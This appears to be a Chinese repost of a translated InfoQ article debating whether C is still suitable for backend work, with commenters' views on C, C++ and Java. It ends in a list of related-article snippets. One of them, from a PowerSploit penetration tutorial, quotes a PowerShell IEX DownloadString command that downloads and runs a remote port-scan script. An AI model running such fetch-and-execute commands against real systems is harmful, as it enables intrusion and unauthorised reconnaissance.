今時今日,C還適合當下之所需么?

本文來源于我在InfoQ中文站翻譯的文章,原文地址是:http://www.infoq.com/cn/news/2013/01/C-Language


來自Couchbase的Damien Katz認為C依然是非常適合于后端編程的一門語言,然而有的開發者則覺得C有太多的瑕疵,他們支持C++或是Java,還有一些人連這兩種語言也不喜歡。

在最近一篇題為The Unreasonable Effectiveness of C的博文中,CouchDB的創建者Damien Katz表示C依然是非常適合于后端編程的一門語言,雖然現在已經有了很多更加現代化的語言,如C++、Java、甚至是Erlang或是Ruby,但他還是非常支持C語言。Katz并不是認為C就是比其他任何語言都要好,但在“重點考慮性能與可靠性等場景下,C是很難被打敗的”——這段話援引自Damien Katz隨后的一個帖子,旨在澄清自己的立場。

雖然一開始使用Erlang編寫了CouchDB的很多代碼,但在花費了“2+個人月來處理Erlang VM中的一個崩潰問題”之后,Katz感到非常不爽。

我們浪費了大量時間追蹤核心Erlang實現中的一些問題,不敢保證發生什么以及原因,我們覺得也許問題出現在我們自己的插件C代碼中,希望我們自己能夠發現并修復問題。但事實并非如此,這是核心Erlang中的一個競態條件Bug。我們只能通過Erlang的代碼查看器來找到這一問題。對于那些對計算機進行了過多抽象的編程語言來說,這是個很基本的問題。

出于這一點以及性能因素,Katz決定逐步重寫,“將Couchbase的代碼換成C,并將其作為大多數新特性的首選實現語言”。有趣的是,C證明了“當我們遇到問題、調試與修復問題時,C更具備可預測性。長遠來看,C的生產力更高”。

Katz列出了對于后端來說,C要優于更高層次語言如C++、Java等的若干原因:

  • 表現力——“C的語法與語義非常強大且具有極強的表現力。憑借C,我們既能預測高層算法,又能預測低層的硬件。它的語義非常簡單,語法足夠強大,能夠極大降低認知上的負擔,讓程序員專注在重要的事情上”。
  • 簡單——“C是一種弱、靜態類型語言,其類型系統非常簡單。我們所說的弱最后會變成一個優點:C APIs的“表面”是非常簡單且小巧的。相對于大多數框架來說,C的一個明顯趨勢與文化就是創建小型的庫,對簡單類型進行輕量級的抽象”。
  • 速度與內存使用——“C是速度最快的語言,無論是部分還是完整的基準都表明了這一點。它不僅僅運行時是最快的,其內存使用與啟動時間也是效率最高的。如果需要在空間與時間上進行折衷,那么C并不會對你隱藏任何細節信息,我們可以很容易地做出估計”。
  • 更快的開發周期——“對于開發者效率與生產力來說最為重要的就是‘構建、運行與調試’周期。周期越快,開發的交互性就越好,你就更容易處在任務的流態上。相對于所有主流的靜態語言來說,C擁有最為快速的開發交互性”。
  • 調試——"對于純C代碼來說,你可以查看調用堆棧、變量、參數、線程局部變量、全局變量,基本上可以查看到內存中的一切。這是非常有用的,特別是當你遇到了問題,這個問題在運行的服務器進程中出現了多日,并且無法重現的情況下更是如此。如果在更為高層的語言中失去了這個上下文,那么你就等著痛苦去吧"。
  • 跨平臺——“有一個標準化的應用二進制接口(ABI),可為現有的所有操作系統、語言與平臺所支持。它無需運行時,也不需要其他額外內容。這意味著你使用C所編寫的代碼并非僅僅可由C代碼中的調用者所調用,還可以由現有的所有庫、語言與環境所調用”。

Katz也認為C有“很多瑕疵”:

沒有范圍檢查,不小心就會導致內存出現問題、存在野指針與內存/資源泄露情況、對并發的附加支持、沒有模塊、沒有命名空間。錯誤處理非常麻煩且冗長。很容易就會搞出一堆錯誤,調用堆棧也找不到了,惡意輸入會控制你的進程。閉包?哈哈

Katz對C的強烈偏愛源自突破Couchbase性能極限的需求以及調試問題(問題是C插件與Erlang VM聯合使用所導致的)。他并不認為C++、Go或是D能夠替換C,但他認為Rust可能會成為“夢想之語言”,只要它能實現“類似于C的性能而且能夠做到與Erlang安全的并發和內建的健壯性”。

Katz的帖子在Reddit與Hacker News上可謂是一石激起千層浪,有很多開發者談到了C的優點,也有人建議其他語言。robinei加入到了字符串操作與錯誤檢測激戰當中:

我總想回到C(從C++等語言中),當我真的這么做了時,我發現不少地方通常都是很簡單的,感覺真棒!

但接下來我需要進行字符串操作,或是這類笨拙的方法。

這時會出現很多分配操作,每一個都需要一個顯式的free搞得我太痛苦了。我嘗試通過arena allocators樹來解決這個問題,就像Go中的slice-strings,但最終C還是缺乏一些語法工具(命名空間前綴函數),這導致結果變得非常笨拙(將一切都分配到arenas中也是非常痛苦的)。

我發現由于要進行顯式的錯誤檢測,源代碼文件長度增加了一倍(這種情況不常發生,但在諸如sqlite等一些庫中,任何操作都有可能失敗)。

還有很多方面導致我精疲力竭,我覺得非常不滿意。

綜上所述,我從哪兒來的還是回哪兒去吧,通常是C++。

madhadron提出了“更加現實的C”:

C能夠在PDP-11上很直接地編譯成快速的機器碼。

C的標準庫就是個笑話。它的缺點,特別是字符串相關的處理,是過去40年眾多安全漏洞的罪魁禍首。

C的工具根本不值得吹噓,特別是與同輩的Smalltalk和Lisp相比。人們所使用的大多數C調試器都是命令行。根本沒法和Squeak或是Allegro Common Lisp的標準調試器相比。

聲明快速的C構建/調試/運行周期令人沮喪。表面上看起來很快,因為C++在這個領域是失敗的。如果你想知道如何加快構建/調試/運行周期,那么請看看Turbo Pascal吧。

你可以通過標準ABI在所有Unix上調用C,雖然這么說沒錯,但原因卻是因為C的普遍存在性而已。

geophile對上述內容持不同看法:

C/C++/Java,這是程序員視角的石頭/剪刀/布。

多年以前,我從C開始,我發現自己用宏和庫為聲明與函數提供了很多很有用的組合。我發明了對象,同時也發現了C++。

長久以來,我一直是個快樂的C++用戶,很早就開始了(還是cfront時代)。但我被語言的復雜性搞崩潰了,特別是特性之間微妙的交互,我厭倦了內存管理,渴望Java,而它又適時地出現了。

我很開心。在學習語言時,我肯定我漏掉了某些東西。每個對象都在堆中么?真是如此么?真的沒有辦法將一個對象在物理上嵌入到另一個對象中么?但其他一切都很棒,我不介意這一點。

現在我在編寫一些系統,這些系統會占用很多內存,包含成千上萬的對象,有些對象很小,有些則很大。每個對象的代價快要搞死我了。GC調優是個夢魘,我正在實現子分配模式。我編寫了微基準,比較普通對象與序列化為字節數組的對象。由于C++已經變得太恐怖了,比令我焦頭爛額的早期版本還要復雜,因此我又渴望C了。

現在的我不再喜歡任何語言了。

對于某些人來說,C看起來瑕疵太多,已經不適應現代的生產力要求了,但還有不少人依然能夠很好地使用C,盡管它有很多怪癖。開發者社區還是應該避免語言之爭,而是更好地權衡每一種語言,根據項目需求與自身技能選擇最合適的語言。畢竟,沒有一種語言是完美的。

此文在InfoQ英文站也引來了眾多讀者的討論,下面摘取部分讀者的評論供大家參考。

讀者Mark Peskin說到:

嗯,我喜歡C。它很簡單,沒有C++那些龐大且有瑕疵的面向對象特性。然而,使用C編寫大型、可擴展、模塊化的企業應用需要大量規則,這些規則在大型的軟件企業中幾乎是無法維護的。我認為C的一個問題是它會引誘聰明的開發者編寫高度優化的代碼,充滿了memcpy()與指針運算,以此“打敗編譯器”,這對于其他開發者來說幾乎無法理解(如果不信,你去讀讀BSD內核代碼吧)。

總的來說,如果有很多開發者在開發大型、復雜且長期的項目,那么我認為你最好使用Java(或是Scala等語言)。將C用在那些偶爾出現的場景中吧,這時你可能真的需要本地代碼,使用基于消息的系統將二者集成起來(JNI不行)。C++?還是算了吧。

讀者Josh Long說到:

回應Katz關于C的問題。

我同意Mark的觀點,在某種程度上,也認可Damien的看法。

Damien提到的一點是我們很少在C中看到真正大型、全面的框架,比如APIs。如果構建小型、某個方面的API(通過一些typedefs/structs與函數作為“契約”),那么我們可以很輕松地將庫“導出”并重用。我覺得這是C最適合之處。我從來不會因為性能問題而使用C,但使用C實現某些功能則是更為輕松的事情(內核編程、嵌入式編程、處理硬件、所依賴的APIs并未在更高層次的語言如Java、Ruby、Python等進行過抽象的功能)。

我還盡量不使用C編寫具有完整功能的系統,只是因為它對于大型項目來說不具備“可伸縮性”。使用C編寫的大型項目最終的結果都是重新編寫了很多東西(比如說對象與命名空間等)。恕我直言,真的沒有多少領域需要從頭到尾都用C不可。當然了,一些例外是系統級組件,比如說操作系統(Linux)或是UI,如GNOME。但對于應用來說,使用更高層次的語言,在高層次語言與平臺之間存在縫隙之處再使用低層次APIs進行集成是更容易的做法。Java存在很多這類“縫隙”,但隨著APIs逐步成為很多不同操作系統上的常客后,在過去10年間,有些已經被逐步解決了:事件驅動的IO、文件系統通知、文件權限與元數據等等。

Mark為集成C庫與模塊提出了很好的解決方案。他認為JNI不行,建議使用消息。我是消息的忠實粉絲。本質來說,成功使用消息與成功使用JNI都需要同樣的東西:你需要徹底簡化導出API。

在使用JNI時,絕不要將任何復雜的C類型“泄漏”到我的Java API中,反之亦然,并且總是通過數值類型與char* -> jstrings進行通信。即便我所公開的本地代碼是用C++編寫的,我也依然會使用C風格的JNI(而不是C++),因為這種規范化有利于互操作。如果保持C API表面的簡潔性,并且避免線程,那么通過Java JNI、CPython或是MRI Ruby等可以將其作為本地擴展。

一旦完成了這個過程,接下來通過消息公開C API就變得很簡單了,因為根據定義,兩個系統之間的消息負載不可能比C庫還要復雜。當然了,如果使用消息,這意味著要么使用C編寫消息代碼,要么將C庫公開到更高層的語言上,并在那里實現消息。消息好的一面是能夠將高層語言代碼與C代碼進行隔離,這么做會比Java代碼要薄一些。我依然不會直接將使用C APIs編寫的代碼鏈接到我的應用中。如果C代碼掛掉了,那么消息系統就會接收請求,直到運行著C代碼的另一個節點能夠進行處理為止。另一方面,如果真的因為性能原因而使用C,那么消息至少會引入一個網絡傳輸,更不必說系統中的另一個組件了,這么做就抵消了使用C編碼所帶來的優勢了。在這種情況下,我們可以編寫穩定、行為良好的JNI或是本地擴展,但還是需要保持表面的小巧,并且理解前置與后置條件才行。沒有線程。不要在C與Java之間傳遞指向復雜對象的指針。請確保你自己清楚誰來負責清理內存,什么時候清理。

總而言之,忘掉C++吧。

讀者Bernd Kolb說到:

或許你想要看看mbeddr(mbeddr.com)。

mbeddr旨在更好地支持嵌入式軟件開發(但并不僅僅限于此),針對基于C語言與IDE的可擴展版本的小型與大型系統。現有擴展包括前置和后置的接口、組件、狀態機與物理單元,以及對需求追蹤和產品線變化的支持。基于這些抽象,mbeddr還支持基于模型檢測與SMT處理的形式驗證。

通過這種方式,在大型項目與團隊中,C也可以做到“可伸縮”。此外,我們還可以引入現代的編程規則。通過擴展mbeddr,你甚至可以為消息等添加基礎信息。

查看英文原文:Is C Still A Suitable Language Today?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/449594.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/449594.shtml
英文地址,請注明出處:http://en.pswp.cn/news/449594.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

《吳軍.科技史綱60講》摘錄

本文由Markdown語法編輯器編輯完成. 《科技史綱60講》是吳軍老師最新開設的專欄名稱,該專欄主要是講解人類文明和科技發展史。吳軍老師在專欄的發刊詞《歷史總在重演,科技永遠向前》中提到,能量和信息是貫穿人類文明發展的兩條線索…

API Gateway——KONG簡單入門

一、簡介 前些天發現了一個巨牛的人工智能學習網站,通俗易懂,風趣幽默,忍不住分享一下給大家。點擊跳轉到教程。 Kong,是由Mashape公司開源的,基于Nginx的API gateway。 二、特點 可擴展:支持分布式 模塊化…

小程序 公眾號/h5相互跳轉-webview

小程序與h5的跳轉 前提小程序管理后臺配置域名白名單,并且h5頁面是嵌在小程序里面(相互跳的前提條件) 在業務域名中設置好訪問的h5地址 微信官方web-view 介紹地址 https://developers.weixin.qq.com/miniprogram/dev/component/web-view.ht…

十、eclipse快捷鍵大全

eclipse快捷鍵大全轉載于:https://www.cnblogs.com/zheaven/p/10541531.html

如何保證代碼的高質量?

代碼的高質量是軟件的靈魂,代碼 數據結構 算法, 而高質量的代碼 優良的變量、函數命名 優良的代碼結構、代碼層次結構 數據結構 算法。 時時刻刻想這上面的四點,你的代碼就會漸漸的上新臺階,老板不給你加工資還…

centos6.5 安裝 kong 網關

前些天發現了一個巨牛的人工智能學習網站,通俗易懂,風趣幽默,忍不住分享一下給大家。點擊跳轉到教程。 最近要求了解下kong網關,然后在網上一頓找,說實話,度娘的力量還是不行啊,找出來的那些跟…

lucene學習的小結

pom.xml設置 <dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.12</version><scope>test</scope></dependency><dependency><groupId>org.apache.lucene</groupId&…

并行計算的專訪

摘要&#xff1a;社區之星第9期采訪的嘉賓是香港浸會大學計算機在讀博士、浪潮高性能計算顧問趙開勇。此次他為我們揭開了高性能計算的神秘面紗&#xff0c;為讀者講解自己的經驗心得。并且他認為基于移動設備的高性能計算將會成為未來潮流&#xff0c;低功耗、高性能也將成為一…

CentOS6.5 搭建 LNMP (linux + nginx + mysql + php)

前些天發現了一個巨牛的人工智能學習網站&#xff0c;通俗易懂&#xff0c;風趣幽默&#xff0c;忍不住分享一下給大家。點擊跳轉到教程。 1&#xff1a;查看環境&#xff1a; 12[root10-4-14-168 html]# cat /etc/redhat-releaseCentOS release 6.5 (Final)2&#xff1a;關掉…

正睿2019省選附加賽 Day10 (這篇其實已經都咕咕了...)

目錄 2019.3.13A.算算算(二項式定理 斯特林數)B.買買買C.樹樹樹2019.3.13比賽鏈接 A.算算算(二項式定理 斯特林數) 題目鏈接 \(x^k\)可以用二項式定理展開&#xff0c;需要維護的就是\(0\sim k\)次方的\(\sum_{j}F(j,i)\)。加入一個數時&#xff0c;每一項都要再用一遍二項式定…

freemarker 從 spring boot execute jar可執行jar中訪問模板文件

2019獨角獸企業重金招聘Python工程師標準>>> private static Configuration freemarkerCfg null;static {freemarkerCfg new Configuration();//freemarker的模板目錄try {String pathPrefix "/";// 為了支持能從execute jar 中獲取模板文件URI uri C…

獲取所有股票數據

#%%#先引入后面可能用到的包&#xff08;package&#xff09; import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns sns.set() %matplotlib inline #正常顯示畫圖時出現的中文和負號 from pylab import mpl mpl.rcParams[font.…

POWERSPLOIT-Recon(信息偵察)腳本滲透實戰

Recon(信息偵察)模塊 a) 調用invoke-Portscan掃描內網主機的端口。 1&#xff09;通過IEX下載并調用invoke-portscan。 PS C:\Users\Administrator> IEX(New-Object net.webclient).DownloadString("http://192.168.190.141/PowerSploit/Recon/Invoke -Portscan.ps1&qu…

股票代碼前面為0,補齊6位數

df[code] df[code].apply(lambda x:str(x).zfill(6))

在CentOS 6上搭建LNMP環境

簡介LNMP是Linux、Nginx、MySQL和PHP的縮寫&#xff0c;這個組合是最常見的WEB服務器的運行環境之一。本文將帶領大家在CentOS 6操作系統上搭建一套LNMP環境。 本教程適用于CentOS 6.x版本。 在安裝LNMP環境之前&#xff0c;您需要先對CentOS操作系統做一些初始化的工作&#x…

前端技術周刊 2019-01-21:跨端開發的三條路線

2019-01-21 前端快爆 微軟 Edge 開發者意圖為 Chrome 實現 HTML Modules&#xff0c;該規范用來替代之前的 HTML Imports。其優點是基于 ES Modules&#xff0c;可以避免全局對象污染、腳本解析阻塞等問題。?點評&#xff1a;舉報&#xff0c;有人在「秀恩愛」&#xff01; &l…

分配內存的方法,需要32位對齊

type 是char&#xff0c;short&#xff0c;int 。 #define DATA_ALIGN 1 #if DATA_ALIGN && WIN32 && (_MSC_VER > 1300) #define my_malloc(type,len) _aligned_malloc(sizeof(type) *(len), 32) #define my_free(ptr) _aligned_free(ptr) #e…

zabbix-02-CentOS7.4安裝zabbix4.0

一、環境準備 1.1 主機規劃 這里先對本次實驗的機器做一個規劃&#xff0c;之后的實驗均通過這兩臺機器完成。 序號IP地址主機名CPU內存硬盤安裝服務110.0.0.11zabbix-server1C2G20GBzabbix服務端210.0.0.12zabbix-agent1C1G20GBzabbix客戶端1.2 操作系統選擇 操作系統選擇&…

再談并發

再談并發 上一篇python并發中講到了&#xff0c;使用多進程&#xff0c;多線程&#xff0c;多任務來加快程序的運行。其中講到的一點似乎有點問題&#xff0c;操作系統中線程是調度器的最小執行單位&#xff0c;那為何python中的多線程無法利用多核&#xff0c;只能在一個處理器…

centos6.8安裝docker,kong-dashboard并實現頁面訪問

前些天發現了一個巨牛的人工智能學習網站&#xff0c;通俗易懂&#xff0c;風趣幽默&#xff0c;忍不住分享一下給大家。點擊跳轉到教程。 我們通過kong-dashboard的admin-UI管理界面進行直觀的查看。最終顯示界面如圖&#xff1a; 因為這個kong-dashboard要用到docker&#x…